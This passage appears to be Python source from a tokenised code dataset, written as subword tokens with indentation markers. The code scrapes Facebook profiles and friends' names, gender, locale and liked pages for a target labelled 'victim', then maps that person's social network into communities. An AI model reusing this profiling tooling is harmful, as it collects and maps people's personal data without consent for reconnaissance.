"victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", " ", "%", "s", ".", "txt", " ", "not", " ", "exist", "s", ",", " ", "error", " ", "on", " ", "link", "Friends", " ", "module", " ", "\\\\", "r", "'_", "%_", "victim", "_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logs_", "(_", "str_", "(_", "victim", "_", ")_", "+_", "'", " ", "not", " ", "exist", "s", ",", " ", "error", " ", "on", " ", "link", "Friends", " ", "module", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "persons_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\\\\", "r", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "persons_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "individual", "s_", "in_", "friends_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "graph", ".", "facebook", ".", "com", "/'_", "+_", "individual", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resultado_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json", "\\u", "dump_", "=_", "json_", "._", "loads_", "(_", "resultado_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friend_", "=_", "json", "\\u", "dump_", "[_", "'", "link", "'_", "]_", "+_", "'", " ", " ", " ", " ", "'_", "+_", "json", "\\u", "dump_", "[_", "'", "name", "'_", "]_", "+_", "'", " ", " ", "'_", "+_", "json", "\\u", "dump_", "[_", "'", "gender", "'_", "]_", "+_", "'", " ", " ", "'_", "+_", "json", "\\u", "dump_", "[_", "'", "locale", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "friend_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "linked", "File_", "._", "write_", "(_", "My", "Parser_", "._", "html", "Format_", "(_", "json", "\\u", "dump_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "%", "s", "'_", "%_", "json", "\\u", "dump_", "[_", "'", "user", "name", "'_", "]_", "+_", "'", " ", " ", " ", " ", "'_", "+_", "json", "\\u", "dump_", "[_", "'", "name", "'_", "]_", "+_", "'", " ", " ", "'_", "+_", "json", "\\u", "dump_", "[_", "'", "gender", "'_", "]_", "+_", "'", " ", " ", "'_", "+_", "json", "\\u", "dump_", "[_", "'", "locale", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "%", "s", "'_", "%_", "individual", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Sleep", "ing", " ", "%", "d", "'_", "%_", "delay_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sleep_", "(_", "delay_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delay_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Sleep", "ing", " ", "%", "d", " ", "URL", "error", " ", "'_", "%_", "delay_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sleep_", "(_", "delay_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delay_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "linked", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Name_", "(_", "user", "Id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/'_", "+_", "str_", "(_", "user", "Id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "response_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "re_", "._", "search_", "(_", "\"\\u", "8", "\\u", "2", "\"_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "match_", "._", "end_", "(_", ")_", "+_", "33_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match", "Bis", "_", "=_", "re_", "._", "search_", "(_", "'\">", "'_", ",_", "data_", "[_", "start_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match", "Bis", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "data_", "[_", "start_", ":_", "start_", "+_", "match", "Bis", "_", "._", "start_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "user", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "str_", "(_", "e_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "user", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "str_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "user", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "user", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "Objects_", "(_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", ",_", "\"", "object", "s", "\"_", ",_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "path_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", "=_", "pickle_", "._", "load_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "open_", "(_", "path_", "+_", "'.", "ref", "'_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ref_", "=_", "pickle_", "._", "load_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "A_", ",_", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "]_", ",_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "re", "Analy", "ze", "Graph_", "(_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", ",_", "\"", "object", "s", "\"_", ",_", "victim", "_", "+_", "\"-", "communi", "ty", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label", "Graph_", "=_", "pickle_", "._", "load_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "on", " ", "re", "Analy", "ze", "Graph", "()", " ", "object", " ", "not", " ", "exist", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "on", " ", "re", "Analy", "ze", "Graph", "()", " ", "object", " ", "not", " ", "exist", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Communi", "ty", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "victim", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "partition_", "=_", "community_", "._", "best", "\\u", "partition_", "(_", "label", "Graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "set_", "(_", "partition_", "._", "values_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Communi", "ty", "\"_", ",_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "members_", "=_", "[_", "nodes_", "for_", "nodes_", "in_", "partition_", "._", "keys_", "(_", ")_", "if_", "partition_", "[_", "nodes_", "]_", "==_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ego", "net_", "=_", "label", "Graph_", "._", "subgraph_", "(_", "set_", "(_", "members_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "sorted_", "(_", "ego", "net_", "._", "nodes_", "(_", ")_", ",_", "reverse_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "sorted_", "(_", "ego", "net_", "._", "edges_", "(_", ")_", ",_", "reverse_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nx_", "._", "draw", "\\u", "spring", "_", "(_", "ego", "net_", ",_", "node", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "ego", "net_", "._", "nodes_", "(_", ")_", ")_", ")_", ",_", "edge", "\\u", "color_", "=_", "'#", "000000", "'_", ",_", "with", "\\u", "labels_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "Communi", "ty", "\"_", "+_", "str_", "(_", "i_", ")_", "+_", "\".", "pdf", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "Communi", "ty", "\"_", "+_", "str_", "(_", "i_", ")_", "+_", "\".", "png", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "dot_", "(_", "ego", "net_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "Communi", "ty", "\"_", "+_", "str_", "(_", "i_", ")_", "+_", "\".", "dot", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'", "Press", " ", "enter", " ", "to", " ", "continue", "...", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "on", " ", "re", "Analy", "ze", "Graph", "()", " ", "deb", "bug", " ", "for", " ", "more", " ", "informati", "on", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "on", " ", "re", "Analy", "ze", "Graph", "()", " ", "deb", "bug", " ", "for", " ", "more", " ", "informati", "on", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "analyze", "Graph_", "(_", "victim", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "victim", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mkdir_", "(_", "directory_", ",_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "edges_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edge", "s", "Values_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "keys_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "common", "Pages_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "A_", ",_", "id", "keys_", "=_", "load", "Objects_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "A_", "!=_", "[_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph_", "=_", "nx_", "._", "from", "\\u", "nump", "y", "\\u", "matrix_", "(_", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nodes_", "=_", "my", "Graph_", "._", "nodes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Percentage_", "\\u\\u\\uNL\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Dict", "io", " ", "creati", "on", " ", "of", " ", "usernames", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Associate", "d", " ", "with", " ", "node", " ", "number_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "Atte", "mpi", "ng", " ", "to", " ", "get", " ", "user", "\\\\'", "s", " ", "informati", "on", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "elements_", "in_", "id", "keys_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "get", "Name_", "(_", "elements_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "common", "Pages_", "[_", "user_", "]_", "=_", "core", "Page", "s", "Like_", "(_", "victim", "_", ",_", "elements_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "Names_", "._", "append_", "(_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "keys_", "[_", "id", "keys_", "[_", "elements_", "]_", "]_", "=_", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "id", "keys_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "len_", "(_", "id", "keys_", "._", "keys_", "(_", ")_", ")_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "reference_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "reference", "s", ".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "users_", "in_", "node", "keys_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "str_", "(_", "node", "keys_", "[_", "users_", "]_", ")_", "+_", "'", " ", ":", " ", "'_", "+_", "str_", "(_", "users_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reference_", "._", "write_", "(_", "line_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "reference_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "node_", "in_", "nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "edges_", "[_", "node_", "]_", "=_", "my", "Graph_", "._", "degree_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "edge", "s", "Values_", "._", "has", "\\u", "key_", "(_", "edges_", "[_", "node_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "edge", "s", "Values_", "[_", "edges_", "[_", "node_", "]_", "]_", "._", "append_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "edge", "s", "Values_", "[_", "edges_", "[_", "node_", "]_", "]_", "=_", "[_", "node_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "values_", "in_", "sorted_", "(_", "edge", "s", "Values_", "._", "keys_", "(_", ")_", ",_", "reverse_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "str_", "(_", "values_", ")_", "+_", "'", " ", "aris", "tas", ";", " ", "nod", "os", ":", " ", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "nodes_", "in_", "edge", "s", "Values_", "[_", "values_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "str_", "(_", "nodes_", ")_", "+_", "',", " ", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "nx_", "._", "is", "\\u", "connected_", "(_", "my", "Graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "nx_", "._", "number", "\\u", "connect", "ed", "\\u", "components_", "(_", "my", "Graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ccs", "_", "=_", "nx_", "._", "clustering_", "(_", "my", "Graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "ccs", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "sum_", "(_", "ccs", "_", ")_", "/_", "len_", "(_", "ccs", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Creat", "ion", " ", "of", " ", "the", " ", "label", "d", " ", "graph", " ", "for", " ", "community_", "\\u\\u\\uNL\\u\\u\\u_", "label", "Nodes_", "=_", "my", "Graph_", "._", "nodes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label", "Edges_", "=_", "my", "Graph_", "._", "edges_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label", "Graph_", "=_", "nx_", "._", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "label_", "in_", "label", "Nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "label", "Graph_", "._", "add", "\\u", "node_", "(_", "node", "keys_", "[_", "int_", "(_", "label_", ")_", "]_", ",_", "likes", "_", "=_", "common", "Pages_", "[_", "node", "keys_", "[_", "int_", "(_", "label_", ")_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "label", "E_", "in_", "label", "Edges_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "label", "Graph_", "._", "add", "\\u", "edge_", 